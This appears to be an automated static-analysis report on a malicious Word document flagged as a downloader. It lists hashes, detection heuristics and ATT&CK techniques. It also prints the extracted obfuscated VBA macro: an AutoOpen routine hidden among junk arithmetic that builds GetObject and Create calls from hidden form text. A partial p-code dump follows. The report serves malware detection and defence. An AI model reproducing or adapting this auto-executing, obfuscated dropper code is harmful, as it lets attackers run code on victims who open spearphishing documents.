Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 658e11714c066638…

MALICIOUS

Office (OLE)

187.1 KB Created: 2019-03-27 14:41:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: 6039f6738ee4cd8992a659add4a52095 SHA-1: d1a941e2ce2cd55f00a06daaf5a6e9b9af262af9 SHA-256: 658e11714c066638a196aec22cd6bb82c64fb23eb9b4f34961ae40e0401f2d78
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Sagent-6914418-0. Static analysis revealed the presence of VBA macros, specifically an AutoOpen macro that utilizes GetObject, indicating an attempt to execute code. This suggests the document is likely a spearphishing attachment designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-6914418-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6914418-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    End If
Set YoCoQ1C = GetObject(HAoXA1_X.IZBAAA4.Text + Z4BU4D4.i4ACXB + HAoXA1_X.IZBAAA4.Text)
   If BwXAA44o = NBA4kB Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28651 bytes
SHA-256: 2b42ae2669bf4e43dd205b570f7fad62da35d746060ca2279e0fdd292207b149
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CkAQcA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HAoXA1_X"
Attribute VB_Base = "0{EBE6F477-B303-4598-9375-60BE047813DD}{2702FB28-6846-4E2C-92ED-056B286F11D6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Z4BU4D4"
Attribute VB_Base = "0{AAA210F5-9882-4399-AC87-F6B0CAE0DB89}{CBE1C865-EB3C-4969-A478-D476EEAB7DAA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hDBZAB"
Function qQUUAGQ()
   If NACACUZ = A4AA_AA Then
Q1A1AD = qBA4QA - Oct(331278819) / ZQD4wwZA - Sin(WQDCAxZ + _
Atn(977241109) - jooCGCwX * Log(305751311)) + (458786967 + _
CByte(264703690 / 465185178 + 203655251 * Cos(82432276))) + PX_4UQAG / Hex(ixG4oX + Cos(260009438) / EUxXcUD * 468433249)
End If
   If Q1AQDA = HcDAQoA Then
OUw_kG = BUxowBkA - Hex(528101112) / YA4AAZ - Hex(PXAAAoD + _
CByte(733832635) - EADBGQC * CDbl(233980342)) + (540149645 + _
CSng(355787251 / 710851249 + 465977666 * Cos(373301416))) + QAwcAAXk / Rnd(mwUADAAA + Cos(676312983) / PACCBXB * 598145508)
End If
   If EwXQQADA = AAUAAA Then
OUwAwA = F_wxAAC - Round(262308508) / jxA1X4GA - Oct(IQGQQD + _
Cos(170141531) - KxQAGAAA * Log(803271456)) + (493680211 + _
CDate(968561302 / 763747578 + 234455008 * Sqr(87881898))) + b4AUx1 / Atn(mBADUc_ + CBool(790424781) / jAAAABA * 553005649)
End If
   If ZAABDkoD = Ic4AUCDQ Then
zABwoBAA = pcoB_Q - Sqr(68331188) / VXBwDBAo - Cos(aBCx4B + _
Oct(966672806) - wAwoXDQ * Tan(957579480)) + (27188270 + _
CBool(671478167 / 802174613 + 453520323 * Cos(59099996))) + QABXUA / CSng(roXDDoQA + Hex(608953740) / YAAAAxBA * 494950968)
End If
   If W1XAc4 = CUBXooD Then
IACZoA = XQQ41QB - Log(782459971) / ucwwZDw - Fix(IAUAcZAG + _
Rnd(561936418) - mQD1xQ * Rnd(262199896)) + (392050985 + _
CDate(164135849 / 537032470 + 111801 * CInt(936863797))) + WAZ141U / Rnd(CAkcAA + Atn(225550600) / JD_BAQ * 66021371)
End If
   If QACAAAxD = qACA_U Then
GQAA1BAX = p1AoAUA - Sqr(954194030) / SQcDXAA - CByte(sUXGAoZA + _
CStr(211459845) - X1QBAAwA * Oct(441593240)) + (983030768 + _
CLng(770701634 / 744691332 + 947405755 * Hex(111814102))) + FAUCoww / CDate(ZBAC4AG + Round(327815156) / r11UAAo * 583811202)
End If
   If iwQAZX = pAADX_A Then
zAQBCk = VAUAxGU - Round(361382906) / jQXAkAQ - CLng(bcoDQBAw + _
CSng(709683583) - kDDAXQQ * Round(769418414)) + (829545629 + _
CInt(504451760 / 279386443 + 245274628 * Cos(472490872))) + VBG_AAA / Rnd(vUxQ1ADD + Tan(296566604) / aQAUADAA * 78051327)
End If
End Function
Sub autoopen()
On Error Resume Next
   If EA1UQCD = NCZU1AD Then
hUZQAA = VwXAAUU - CBool(258779783) / bxBAxU - Sin(q1xkk1 + _
Sin(926433455) - fQB1Qox * Oct(199197996)) + (255086066 + _
CByte(376121828 / 20767113 + 976098434 * CInt(413870544))) + i_AAAZ / Atn(DCQAZA + Cos(866305272) / lAXcBUGc * 441909576)
End If
   If L1_wAA = IxAGwcGQ Then
tcAGZAAo = zAoUA4o - CSng(476945432) / zAoAwZ - Rnd(RB1AAxA + _
Oct(793087819) - NBBAxk * Hex(636202113)) + (616396799 + _
CDate(390529827 / 301493655 + 613691278 * Log(882553177))) + hAAw_CDk / Sin(A1AZA_A + CDbl(785860271) / FAwAAC * 544462726)
End If
   If qUw4ooC = d4DAkAQ Then
lAAAAA = qQAAAADD - Log(851254025) / JQAAcAD - CSng(wDBAwAGA + _
Sin(434504076) - CUGU1A * CBool(803862929)) + (341250382 + _
Tan(481099805 / 842291079 + 936115240 * CInt(419182756))) + EUA1B4 / Sqr(i1GxC4 + CLng(43871790) / MBAAAAA * 961154307)
End If
Set YoCoQ1C = GetObject(HAoXA1_X.IZBAAA4.Text + Z4BU4D4.i4ACXB + HAoXA1_X.IZBAAA4.Text)
   If BwXAA44o = NBA4kB Then
QAA1D_ = sAQQACQD - Cos(275410426) / sG4UwowA - CInt(KBAAAU + _
Cos(840252670) - KQ_AQG1 * CByte(953979941)) + (843209952 + _
Rnd(438427601 / 78688674 + 262421834 * Sgn(130518720))) + aAc4xC / CStr(hDUxAG + CBool(649712975) / E_XAX1 * 2096705)
End If
   If wBAQcD_ = UB_AAAAU Then
vGDUDCZA = IkBAA1kX - Fix(600071849) / SBUDAXAQ - Log(zxAAAAB + _
Int(47875215) - j1UwxA4 * CLng(959385757)) + (148107916 + _
Log(181847515 / 329813027 + 772171028 * Atn(291747654))) + HAAXAB / CLng(wQBkAAA + Tan(427129810) / IBCQxwwA * 322657458)
End If
If 445838 = 445838 Then
   If mXAAAA = sAAAUw Then
TAAABGB4 = NZDA1AGB - CDate(291766778) / dAAAZQ - Fix(HoBDCA4_ + _
CByte(625423021) - uQQDQCCA * Rnd(76280275)) + (631160394 + _
Sgn(115182530 / 486458134 + 105431954 * CLng(515301165))) + KAAkAZwA / CByte(DGABGQ + Oct(972109151) / XABAwAc_ * 641803385)
End If
   If ooAB4AZ = m_ZBoA Then
wGDkZA = GckBAXAD - Log(355343936) / hwwAAB - Hex(bAkUDGUQ + _
CLng(263735086) - s_ADUA * Oct(117293175)) + (401068242 + _
Log(535486729 / 220452858 + 7385951 * Fix(750890099))) + kA1D14Bc / Rnd(zBQDQAQ + Cos(588572667) / PAcAAA * 909479537)
End If
   If lZC4A41U = IB1UQQ_ Then
mAAZ1Z = f1XACZ - CByte(31711872) / iAAkkk - Fix(LZCDBQc + _
Cos(758495234) - ikUBGDXA * CInt(349505769)) + (234665113 + _
Sgn(91161832 / 634874379 + 874066582 * CSng(928779894))) + CDABkQ / Atn(sCQ1_A + Hex(446759069) / WxA4A1c * 829810231)
End If
YoCoQ1C _
.ShOwWiNdOw = XAkUZAAA + HAoXA1_X.nCUABAG.Text + AooC1B
   If tA_AAk = P_D4wo Then
IAxAQc = wZ_GBoA - Tan(796877224) / zUAAAw - CInt(OQQAAA + _
Sgn(25446704) - mAkxcUA * CInt(615944321)) + (428796413 + _
Rnd(361887534 / 809078582 + 981876468 * Atn(983933330))) + LGwAAB / CDbl(RAQw4_XZ + CLng(858656792) / BUc4kw * 907663059)
End If
   If joAGXX4 = WAAQUAQU Then
DAABBwUD = jBZ_AXUG - Fix(564111054) / bAcZ_D - Round(uDAZUA1 + _
Round(445452294) - QAkBABUw * Sgn(103116373)) + (2147375 + _
CByte(685647502 / 831457370 + 281311564 * CInt(605516644))) + BQ4XU_Gc / Hex(ECAAAAQ + Fix(862803452) / SAZA1kGA * 599282420)
End If
   If MkAAUAQ = pDoDA4 Then
JXAABD4_ = LxQkQA - Atn(394886331) / PZokA1A - Cos(OBBADXA + _
Hex(671183050) - oGABoQ * Atn(309796381)) + (72175084 + _
Fix(673084443 / 526919459 + 972354440 * Int(665626186))) + JAABGGA / Sgn(n4GAUAUQ + Rnd(230340599) / nC_Ac4A4 * 254608973)
End If
End If
   If lBXcBAUA = a_QUxU Then
u1BDCUw = nBABwX - Int(220502559) / wBUZAA - Fix(FQAAAD + _
Round(93423038) - f_A4AAG * Atn(230982692)) + (291545177 + _
CSng(281941028 / 183635947 + 267896750 * Atn(780229070))) + pZABUwo / Cos(K_ADwBA + Oct(194511870) / rDDAxAAD * 487878634)
End If
   If cA4AAAoA = WkwA1C Then
KACUQAC = IABQQ_A - Int(952435020) / dAAcZQA - Sin(bGAAXQ + _
Sin(169893158) - ZGZUBUGG * Sgn(600100313)) + (221345658 + _
CStr(582078181 / 332684515 + 74527015 * Sqr(169747794))) + ADAGAAAC / Log(oA1BAoAB + CDbl(807980880) / MDcXDBGA * 367891447)
End If
   If RAAAUxG = ABGkAB Then
hAAoAABc = PAACAAXA - Rnd(68252688) / h4ADX1AA - CDate(U4QGZ4 + _
Atn(81731203) - CDocDAAC * Tan(730991740)) + (552786220 + _
Int(856262436 / 269727443 + 143931838 * Oct(665766786))) + NAokZAA / Int(sAcBA4w_ + CDate(131291595) / Pk_BoAZQ * 964533048)
End If
GetObject(HAoXA1_X.IZBAAA4 + Z4BU4D4.v_UDAAU + HAoXA1_X.IZBAAA4) _
.Create! HAoXA1_X.IZBAAA4 + Z4BU4D4.iQAA__AA + HAoXA1_X.IZBAAA4.Text + Z4BU4D4.YB1w_xZB + HAoXA1_X.IZBAAA4.Text + HAoXA1_X.IZBAAA4.Text + Z4BU4D4.zUBoAA + HAoXA1_X.IZBAAA4.Text + HAoXA1_X.IZBAAA4 + Z4BU4D4.j11DBZ + HAoXA1_X.IZBAAA4.Text + Z4BU4D4.LoGUwDA1 + HAoXA1_X.IZBAAA4, WAcADGQo, YoCoQ1C, HAoXA1_X.IZBAAA4
   If qCBZCA = A14kCA Then
LBBxUUAA = iUQXDAX - CDbl(767241314) / DkAAAA - Sin(Qx1xUA + _
Tan(988323551) - QXCUDUQ * Log(926156940)) + (944104561 + _
Sqr(792607108 / 281228007 + 431380504 * Sin(145284676))) + kDDA_Q / CInt(bQ1AXD + CStr(388048669) / lGAQZc * 230287308)
End If
   If sA1ZkDx = PQD1cCG1 Then
qB1kwkBo = wD4AGwc - CInt(529531392) / KAC1AwA4 - Hex(SDx4Q1A + _
Fix(261480244) - KCCAD4Q * Tan(466134684)) + (757635010 + _
CDbl(144459108 / 601208534 + 783753206 * CStr(821067567))) + bAXA_xZA / CByte(GkUXABcD + Log(151544149) / Y4UXCAAX * 480787231)
End If
End Sub



' Processing file: /opt/analyzer/scan_staging/c76d542045bc4f5bba631b684fce6984.bin
' ===============================================================================
' Module streams:
' Macros/VBA/CkAQcA - 1104 bytes
' Macros/VBA/HAoXA1_X - 1158 bytes
' Macros/VBA/Z4BU4D4 - 1157 bytes
' Macros/VBA/hDBZAB - 12077 bytes
' Line #0:
' 	FuncDefn (Function hDBZAB())
' Line #1:
' 	Ld qQUUAGQ 
' 	Ld NACACUZ 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld Q1A1AD 
' 	LitDI4 0xE9E3 0x13BE 
' 	ArgsLd Oct 0x0001 
' 	Ld qBA4QA 
' 	Div 
' 	Sub 
' 	Ld ZQD4wwZA 
' 	LitDI4 0x8415 0x3A3F 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	Ld WQDCAxZ 
' 	LitDI4 0x650F 0x1239 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Sin 0x0001 
' 	Sub 
' 	LitDI4 0x8897 0x1B58 
' 	LitDI4 0x0ECA 0x0FC7 
' 	LitDI4 0x299A 0x1BBA 
' 	Div 
' 	LitDI4 0x8853 0x0C23 
' 	LitDI4 0xD114 0x04E9 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Byte) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld jooCGCwX 
' 	Ld PX_4UQAG 
' 	LitDI4 0x6DDE 0x0F7F 
' 	ArgsLd Cos 0x0001 
' 	Ld ixG4oX 
' 	Div 
' 	LitDI4 0xB961 0x1BEB 
' 	Mul 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Div 
' 	Add 
' 	St A4AA_AA 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	Ld EUxXcUD 
' 	Ld Q1AQDA 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld OUw_kG 
' 	LitDI4 0x2EF8 0x1F7A 
' 	ArgsLd Hex 0x0001 
' 	Ld BUxowBkA 
' 	Div 
' 	Sub 
' 	Ld YA4AAZ 
' 	LitDI4 0x65BB 0x2BBD 
' 	Coerce (Byte) 
' 	Add 
' 	Ld PXAAAoD 
' 	LitDI4 0x41B6 0x0DF2 
' 	Coerce (Dbl) 
' 	Mul 
' 	Sub 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI4 0x078D 0x2032 
' 	LitDI4 0xE1F3 0x1534 
' 	LitDI4 0xBAB1 0x2A5E 
' 	Div 
' 	LitDI4 0x4142 0x1BC6 
' 	LitDI4 0x20A8 0x1640 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Sng) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld EADBGQC 
' 	Ld QAwcAAXk 
' 	LitDI4 0xB797 0x284F 
' 	ArgsLd Cos 0x0001 
' 	Ld mwUADAAA 
' 	Div 
' 	LitDI4 0xF9E4 0x23A6 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	Add 
' 	St HcDAQoA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld PACCBXB 
' 	Ld EwXQQADA 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld OUwAwA 
' 	LitDI4 0x829C 0x0FA2 
' 	ArgsLd Round 0x0001 
' 	Ld F_wxAAC 
' 	Div 
' 	Sub 
' 	Ld jxA1X4GA 
' 	LitDI4 0x275B 0x0A24 
' 	ArgsLd Cos 0x0001 
' 	Add 
' 	Ld IQGQQD 
' 	LitDI4 0xF320 0x2FE0 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	LitDI4 0xF653 0x1D6C 
' 	LitDI4 0x1296 0x39BB 
' 	LitDI4 0xDCFA 0x2D85 
' 	Div 
' 	LitDI4 0x7FE0 0x0DF9 
' 	LitDI4 0xF8AA 0x053C 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld KxQAGAAA 
' 	Ld b4AUx1 
' 	LitDI4 0xECCD 0x2F1C 
' 	Coerce (Bool) 
' 	Ld mBADUc_ 
' 	Div 
' 	LitDI4 0x3251 0x20F6 
' 	Mul 
' 	Add 
' 	ArgsLd Atn 0x0001 
' 	Div 
' 	Add 
' 	St AAUAAA 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld jAAAABA 
' 	Ld ZAABDkoD 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld zABwoBAA 
' 	LitDI4 0xA6B4 0x0412 
' 	ArgsLd Sqr 0x0001 
' 	Ld pcoB_Q 
' 	Div 
' 	Sub 
' 	Ld VXBwDBAo 
' 	LitDI4 0x41A6 0x399E 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	Ld aBCx4B 
' 	LitDI4 0x80D8 0x3913 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Cos 0x0001 
' 	Sub 
' 	LitDI4 0xDC2E 0x019E 
' 	LitDI4 0xF197 0x2805 
' 	LitDI4 0x3695 0x2FD0 
' 	Div 
' 	LitDI4 0x2BC3 0x1B08 
' 	LitDI4 0xCB5C 0x0385 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Bool) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld wAwoXDQ 
' 	Ld QABXUA 
' 	LitDI4 0xE58C 0x244B 
' 	ArgsLd Hex 0x0001 
' 	Ld roXDDoQA 
' 	Div 
' 	LitDI4 0x5A38 0x1D80 
' 	Mul 
' 	Add 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	St Ic4AUCDQ 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld YAAAAxBA 
' 	Ld W1XAc4 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld IACZoA 
' 	LitDI4 0x6443 0x2EA3 
' 	ArgsLd Log 0x0001 
' 	Ld XQQ41QB 
' 	Div 
' 	Sub 
' 	Ld ucwwZDw 
' 	LitDI4 0x7822 0x217E 
' 	ArgsLd Rnd 0x0001 
' 	Add 
' 	Ld IAUAcZAG 
' 	LitDI4 0xDA58 0x0FA0 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Sub 
' 	FnFix 
' 	Sub 
' 	LitDI4 0x3929 0x175E 
' 	LitDI4 0x83A9 0x09C8 
' 	LitDI4 0x7716 0x2002 
' 	Div 
' 	LitDI4 0xB4B9 0x0001 
' 	LitDI4 0x6835 0x37D7 
' 	Coerce (Int) 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld mQD1xQ 
' 	Ld WAZ141U 
' 	LitDI4 0xA108 0x0D71 
' 	ArgsLd Atn 0x0001 
' 	Ld CAkcAA 
' 	Div 
' 	LitDI4 0x67FB 0x03EF 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	Add 
' 	St CUBXooD 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Ld JD_BAQ 
' 	Ld QACAAAxD 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld GQAA1BAX 
' 	LitDI4 0xD86E 0x38DF 
' 	ArgsLd Sqr 0x0001 
' 	Ld p1AoAUA 
' 	Div 
' 	Sub 
' 	Ld SQcDXAA 
' 	LitDI4 0x9F05 0x0C9A 
' 	Coerce (Str) 
' 	Add 
' 	Ld sUXGAoZA 
' 	LitDI4 0x2D98 0x1A52 
' 	ArgsLd Oct 0x0001 
' 	Mul 
' 	Sub 
' 	Coerce (Byte) 
' 	Sub 
' 	LitDI4 0xDBF0 0x3A97 
' 	LitDI4 0xF942 0x2DEF 
' 	LitDI4 0x1684 0x2C63 
' 	Div 
' 	LitDI4 0x43BB 0x3878 
' 	LitDI4 0x25D6 0x06AA 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Lng) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld X1QBAAwA 
' 	Ld FAUCoww 
' 	LitDI4 0x0FF4 0x138A 
' 	ArgsLd Round 0x0001 
' 	Ld ZBAC4AG 
' 	Div 
' 	LitDI4 0x4082 0x22CC 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Div 
' 	Add 
' 	St qACA_U 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld r11UAAo 
' 	Ld iwQAZX 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld zAQBCk 
' 	LitDI4 0x43FA 0x158A 
' 	ArgsLd Round 0x0001 
' 	Ld VAUAxGU 
' 	Div 
' 	Sub 
' 	Ld jQXAkAQ 
' 	LitDI4 0xE97F 0x2A4C 
' 	Coerce (Sng) 
' 	Add 
' 	Ld bcoDQBAw 
' 	LitDI4 0x64AE 0x2DDC 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Sub 
' 	Coerce (Lng) 
' 	Sub 
' 	LitDI4 0xDC9D 0x3171 
' 	LitDI4 0x52B0 0x1E11 
' 	LitDI4 0x194B 0x10A7 
' 	Div 
' 	LitDI4 0x9804 0x0E9E 
' 	LitDI4 0xA378 0x1C29 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Int) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld kDDAXQQ 
' 	Ld VBG_AAA 
' 	LitDI4 0x3F4C 0x11AD 
' 	ArgsLd Tan 0x0001 
' 	Ld vUxQ1ADD 
' 	Div 
' 	LitDI4 0xF7FF 0x04A6 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	Add 
' 	St pAADX_A 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	EndFunc 
' Line #23:
' 	FuncDefn (Sub aQAUADAA())
' Line #24:
' 	OnError (Resume Next) 
' Line #25:
' 	Ld autoopen 
' 	Ld EA1UQCD 
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld hUZQAA 
' 	LitDI4 0xAA87 0x0F6C 
' 	Coerce (Bool) 
' 	Ld VwXAAUU 
' 	Div 
' 	Sub 
' 	Ld bxBAxU 
' 	LitDI4 0x40AF 0x3738 
' 	ArgsLd Sin 0x0001 
' 	Add 
' 	Ld q1xkk1 
' 	LitDI4 0x852C 0x0BDF 
' 	ArgsLd Oct 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Sin 0x0001 
' 	Sub 
' 	LitDI4 0x4DF2 0x0F34 
' 	LitDI4 0x29E4 0x166B 
' 	LitDI4 0xE189 0x013C 
' 	Div 
' 	LitDI4 0x1482 0x3A2E 
' 	LitDI4 0x29D0 0x18AB 
' 	Coerce (Int) 
' 	Mul 
' 	Add 
' 	Coerce (Byte) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld fQB1Qox 
' 	Ld i_AAAZ 
' 	LitDI4 0xC4F8 0x33A2 
' 	ArgsLd Cos 0x0001 
' 	Ld DCQAZA 
' 	Div 
' 	LitDI4 0x0148 0x1A57 
' 	Mul 
' 	Add 
' 	ArgsLd Atn 0x0001 
' 	Div 
' 	Add 
' 	St NCZU1AD 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld lAXcBUGc 
' 	Ld L1_wAA 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld tcAGZAAo 
' 	LitDI4 0x9C18 0x1C6D 
' 	Coerce (Sng) 
' 	Ld zAoUA4o 
' 	Div 
' 	Sub 
' 	Ld zAoAwZ 
' 	LitDI4 0x8F4B 0x2F45 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	Ld RB1AAxA 
' 	LitDI4 0xAC81 0x25EB 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Rnd 0x0001 
' 	Sub 
' 	LitDI4 0x77FF 0x24BD 
' 	LitDI4 0x0323 0x1747 
' 	LitDI4 0x6D97 0x11F8 
' 	Div 
' 	LitDI4 0x2F8E 0x2494 
' 	LitDI4 0xB159 0x349A 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld NBBAxk 
' 	Ld hAAw_CDk 
' 	LitDI4 0x46AF 0x2ED7 
' 	Coerce (Dbl) 
' 	Ld A1AZA_A 
' 	Div 
' 	LitDI4 0xD786 0x2073 
' 	Mul 
' 	Add 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	Add 
' 	St IxAGwcGQ 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld FAwAAC 
' 	Ld qUw4ooC 
' 	Eq 
' 	IfBlock 
' Line #32:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld lAAAAA 
' 	LitDI4 0x1B09 0x32BD 
' 	ArgsLd Log 0x0001 
' 	Ld qQAAAADD 
' 	Div 
' 	Sub 
' 	Ld JQAAcAD 
' 	LitDI4 0x018C 0x19E6 
' 	ArgsLd Sin 0x0001 
' 	Add 
' 	Ld wDBAwAGA 
' 	LitDI4 0xF991 0x2FE9 
' 	Coerce (Bool) 
' 	Mul 
' 	Sub 
' 	Coerce (Sng) 
' 	Sub 
' 	LitDI4 0x114E 0x1457 
' 	LitDI4 0x001D 0x1CAD 
' 	LitDI4 0x5787 0x3234 
' 	Div 
' 	LitDI4 0xFC28 0x37CB 
' 	LitDI4 0x38A4 0x18FC 
' 	Coerce (Int) 
' 	Mul 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld CUGU1A 
' 	Ld EUA1B4 
' 	LitDI4 0x6E2E 0x029D 
' 	Coerce (Lng) 
' 	Ld i1GxC4 
' 	Div 
' 	LitDI4 0x0D03 0x394A 
' 	Mul 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Div 
' 	Add 
' 	St d4DAkAQ 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	SetStmt 
' 	Ld Z4BU4D4 
' 	MemLd GetObject 
' 	MemLd Text 
' 	Ld MSForms 
' 	MemLd IZBAAA4 
' 	Add 
' 	Ld Z4BU4D4 
' 	MemLd GetObject 
' 	MemLd Text 
' 	Add 
' 	ArgsLd YoCoQ1C 0x0001 
' 	Set MBAAAAA 
' Line #35:
' 	Ld i4ACXB 
' 	Ld BwXAA44o 
' 	Eq 
' 	IfBlock 
' Line #36:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld QAA1D_ 
' 	LitDI4 0x6DFA 0x106A 
' 	ArgsLd Cos 0x0001 
' 	Ld sAQQACQD 
' 	Div 
' 	Sub 
' 	Ld sG4UwowA 
' 	LitDI4 0x3CFE 0x3215 
' 	ArgsLd Cos 0x0001 
' 	Add 
' 	Ld KBAAAU 
' 	LitDI4 0x9425 0x38DC 
' 	Coerce (Byte) 
' 	Mul 
' 	Sub 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x5CE0 0x3242 
' 	LitDI4 0xDFD1 0x1A21 
' 	LitDI4 0xB1A2 0x04B0 
' 	Div 
' 	LitDI4 0x3D4A 0x0FA4 
' 	LitDI4 0x8EC0 0x07C7 
' 	FnSgn 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld KQ_AQG1 
' 	Ld aAc4xC 
' 	LitDI4 0xD54F 0x26B9 
' 	Coerce (Bool) 
' 	Ld hDUxAG 
' 	Div 
' 	LitDI4 0xFE41 0x001F 
' 	Mul 
' 	Add 
' 	Coerce (Str) 
' 	Div 
' 	Add 
' 	St NBA4kB 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	Ld E_XAX1 
' 	Ld wBAQcD_ 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LineCont 0x0008 0F 00 00 00 1F 00 00 00
' 	Ld vGDUDCZA 
' 	LitDI4 0x5EA9 0x23C4 
' 	FnFix 
' 	Ld IkBAA1kX 
' 	Div 
' 	Sub 
' 	Ld SBUDAXAQ 
' 	LitDI4 0x848F 0x02DA 
' 	FnInt 
' 	Add 
' 	Ld zxAAAAB 
' 	LitDI4 0x109D 0x392F 
' 	Coerce (Lng) 
' 	Mul 
' 	Sub 
